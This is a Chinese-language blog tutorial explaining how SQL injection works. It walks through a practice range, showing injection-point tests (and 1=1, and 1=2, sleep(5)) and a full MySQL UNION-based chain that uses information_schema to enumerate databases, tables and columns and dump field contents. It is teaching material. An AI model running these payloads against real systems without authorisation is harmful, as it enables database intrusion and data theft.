SQL注入原理分析(网络安全)

一、SQL注入本质分析

1、SQL注入本质

在讲到SQL注入之前我们先来聊一下什么是SQL注入? 注入攻击的本质,是把用户输入的数据当做SQL代码执行

8e22cd8c0981470281908c720b139c0a.png

 2、注入攻击的本质

两个关键条件:  

 第一个:

用户能够控制输入    

第二个:

程序原本要执行的代码,拼接了用户输入的数据然后进行执行

像我们常见的登陆框,一般就满足我们的第一个条件

Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中再在后台 Sql 服务器上解析执行进行的攻击

它目前黑客对数据库进行攻击的最常用手段之一。

二、分析靶场注入

1.分析靶场注入

靶场地址:

判断注入点:

and 1=1     页面正常

and 1=2      页面不正常

最简单的方法:

页面后面家‘,“ 看是否报错我的方法: 如果是数字类型的传参,可以试一下-1

http://www.com/news.php?id=1 页面显示 id=1 的新闻

http://www.com/news.php?id=2-1 页面显示 id=1 的新闻

也可以试试 and -1 = -1 , and -1 = -2 and 1 > 0 等方法 或者直接 or sleep(5) 【当然sleep也可能被拦截】

2、注入的基本流程

显错注入-联合查询(MYSQL数据库)注入的基本流程

bb3ee46df6d847478ecad1cf14389b9a.png

 通过系统自带库查询MYSQL在5.0以上版本加入了 information_schema 这个系统自带库 其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等

information_schema.tables 存放表名和库名以及其它相关内容

information_schema.columns 存放字段名和表名以及其它相关内容

三、显错注入靶场的做法

MYSQL注入:

判断当前页面字段总数

and 1=1 order by 1,2,3,4,5……

判断显示位

and 1=2 union select 1,2,3,4,5,6,7……

查当前数据库

and 1=2 union select 1,2,database()

查表名

and 1=2 union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1

查列名

and 1=2 union select 1,2,column_name from information_schema.columns where table_name=表名 and

table_schema=database() limit 0,1

查字段内容

and 1=2 union select 1,字段名,字段名 from 表名 limit 0,1

 

  • 4
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值